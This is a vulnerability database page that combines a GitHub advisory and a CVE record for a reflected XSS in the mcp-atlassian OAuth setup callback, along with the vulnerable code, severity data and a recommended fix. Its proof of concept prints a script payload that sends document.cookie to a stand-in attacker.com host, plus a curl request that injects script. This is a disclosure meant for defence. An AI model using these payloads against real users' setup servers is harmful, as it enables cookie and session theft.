Vulnerability-Lookup

GHSA-G2R2-3J32-J27X

Vulnerability from github – Published: 2026-09-22 20:35 – Updated: 2026-09-22 20:35

Summary

MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler

Details

Summary

The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.

Details

The vulnerability exists in the CallbackHandler class in src/mcp_atlassian/utils/oauth_setup.py.

Step 1 -- Attacker-controlled input enters unsanitized:

At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:

# src/mcp_atlassian/utils/oauth_setup.py:63-66
if "error" in params:
    callback_error = params["error"][0]
    callback_received = True
    self._send_response(f"Authorization failed: {callback_error}")

Step 2 -- Unsanitized input is injected into HTML:

At line 124-125 in _send_response, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:

# src/mcp_atlassian/utils/oauth_setup.py:124-125
<div class="message {"success" if status == 200 else "error"}">
    <p>{message}</p>
</div>

Step 3 -- Server listens on all interfaces:

At line 167, the callback server binds to all network interfaces, not just localhost:

# src/mcp_atlassian/utils/oauth_setup.py:167
httpd = socketserver.TCPServer(("", port), handler)

This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.

Step 4 -- No security headers:

The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:

# src/mcp_atlassian/utils/oauth_setup.py:84-86
self.send_response(status)
self.send_header("Content-type", "text/html")
self.end_headers()

PoC

Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or run_oauth_setup()), which starts the callback server.

Step 1 -- Craft the malicious URL:

http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step 2 -- Deliver the link to the victim:

Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.

Step 3 -- Verify with a simpler payload:

# Start the setup wizard (victim's machine)
# uv run mcp-atlassian --oauth-setup

# From attacker's machine (or same network):
curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"

The response HTML will contain:

<p>Authorization failed: <script>alert(document.domain)</script></p>

Impact

JavaScript execution in the victim's browser context during the OAuth setup flow.
While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:
The server binds to all interfaces, making it accessible from the local network.
The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).
During this window, any crafted request triggers the XSS.
An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles code and state parameters on the same endpoint.

Recommended Fix

1. HTML-escape the message before injecting into the template:

# src/mcp_atlassian/utils/oauth_setup.py
import html

def _send_response(self, message: str, status: int = 200) -> None:
    """Send response to the browser."""
    self.send_response(status)
    self.send_header("Content-type", "text/html")
    self.send_header("X-Content-Type-Options", "nosniff")
    self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'")
    self.end_headers()

    # Escape user-controlled content before HTML injection
    safe_message = html.escape(message)

    html_content = f"""
    ...
            <div class="message {"success" if status == 200 else "error"}">
                <p>{safe_message}</p>
            </div>
    ...
    """

2. Bind the callback server to localhost only:

# src/mcp_atlassian/utils/oauth_setup.py:167
# Change from:
httpd = socketserver.TCPServer(("", port), handler)
# To:
httpd = socketserver.TCPServer(("127.0.0.1", port), handler)

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:35:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe OAuth 2.0 setup wizard\u0027s local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim\u0027s browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost.\n\n## Details\n\nThe vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`.\n\n**Step 1 -- Attacker-controlled input enters unsanitized:**\n\nAt line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:63-66\nif \"error\" in params:\n    callback_error = params[\"error\"][0]\n    callback_received = True\n    self._send_response(f\"Authorization failed: {callback_error}\")\n```\n\n**Step 2 -- Unsanitized input is injected into HTML:**\n\nAt line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:124-125\n\u003cdiv class=\"message {\"success\" if status == 200 else \"error\"}\"\u003e\n    \u003cp\u003e{message}\u003c/p\u003e\n\u003c/div\u003e\n```\n\n**Step 3 -- Server listens on all interfaces:**\n\nAt line 167, the callback server binds to all network interfaces, not just localhost:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:167\nhttpd = socketserver.TCPServer((\"\", port), handler)\n```\n\nThis means the XSS is exploitable from any machine that can reach the victim\u0027s IP on the callback port (default 8080), not just from the local machine.\n\n**Step 4 -- No security headers:**\n\nThe response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:84-86\nself.send_response(status)\nself.send_header(\"Content-type\", \"text/html\")\nself.end_headers()\n```\n\n## PoC\n\n**Prerequisites:** The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server.\n\n**Step 1 -- Craft the malicious URL:**\n\n```\nhttp://\u003cvictim-ip\u003e:8080/callback?error=\u003cscript\u003efetch(\u0027https://attacker.com/steal?cookie=\u0027+document.cookie)\u003c/script\u003e\n```\n\n**Step 2 -- Deliver the link to the victim:**\n\nSend the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.\n\n**Step 3 -- Verify with a simpler payload:**\n\n```bash\n# Start the setup wizard (victim\u0027s machine)\n# uv run mcp-atlassian --oauth-setup\n\n# From attacker\u0027s machine (or same network):\ncurl \"http://\u003cvictim-ip\u003e:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E\"\n```\n\nThe response HTML will contain:\n```html\n\u003cp\u003eAuthorization failed: \u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c/p\u003e\n```\n\n## Impact\n\n- **JavaScript execution** in the victim\u0027s browser context during the OAuth setup flow.\n- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:\n  1. The server binds to all interfaces, making it accessible from the local network.\n  2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).\n  3. During this window, any crafted request triggers the XSS.\n- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint.\n\n## Recommended Fix\n\n**1. HTML-escape the message before injecting into the template:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py\nimport html\n\ndef _send_response(self, message: str, status: int = 200) -\u003e None:\n    \"\"\"Send response to the browser.\"\"\"\n    self.send_response(status)\n    self.send_header(\"Content-type\", \"text/html\")\n    self.send_header(\"X-Content-Type-Options\", \"nosniff\")\n    self.send_header(\"Content-Security-Policy\", \"default-src \u0027none\u0027; style-src \u0027unsafe-inline\u0027; script-src \u0027unsafe-inline\u0027\")\n    self.end_headers()\n\n    # Escape user-controlled content before HTML injection\n    safe_message = html.escape(message)\n\n    html_content = f\"\"\"\n    ...\n            \u003cdiv class=\"message {\"success\" if status == 200 else \"error\"}\"\u003e\n                \u003cp\u003e{safe_message}\u003c/p\u003e\n            \u003c/div\u003e\n    ...\n    \"\"\"\n```\n\n**2. Bind the callback server to localhost only:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:167\n# Change from:\nhttpd = socketserver.TCPServer((\"\", port), handler)\n# To:\nhttpd = socketserver.TCPServer((\"127.0.0.1\", port), handler)\n```",
  "id": "GHSA-g2r2-3j32-j27x",
  "modified": "2026-09-22T20:35:25Z",
  "published": "2026-09-22T20:35:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler"
}

CVE-2026-77272 (GCVE-0-2026-77272)

Vulnerability from cvelistv5 – Published: 2026-09-22 18:33 – Updated: 2026-09-23 14:37

Title

MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler

Summary

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-23 14:10 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/sooperset/mcp-atlassian/securi…	x_refsource_CONFIRM
https://github.com/sooperset/mcp-atlassian/pull/1448	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/commit…	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sooperset	mcp-atlassian	Affected: < 0.22.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77272",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-23T14:10:19.747917Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-23T14:37:43.989Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-22T18:33:18.421Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
        }
      ],
      "source": {
        "advisory": "GHSA-g2r2-3j32-j27x",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77272",
    "datePublished": "2026-09-22T18:33:18.421Z",
    "dateReserved": "2026-08-20T19:14:21.330Z",
    "dateUpdated": "2026-09-23T14:37:43.989Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-G2R2-3J32-J27X

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-77272 (GCVE-0-2026-77272)

Tags

Sightings

Nomenclature

Related by attack behaviour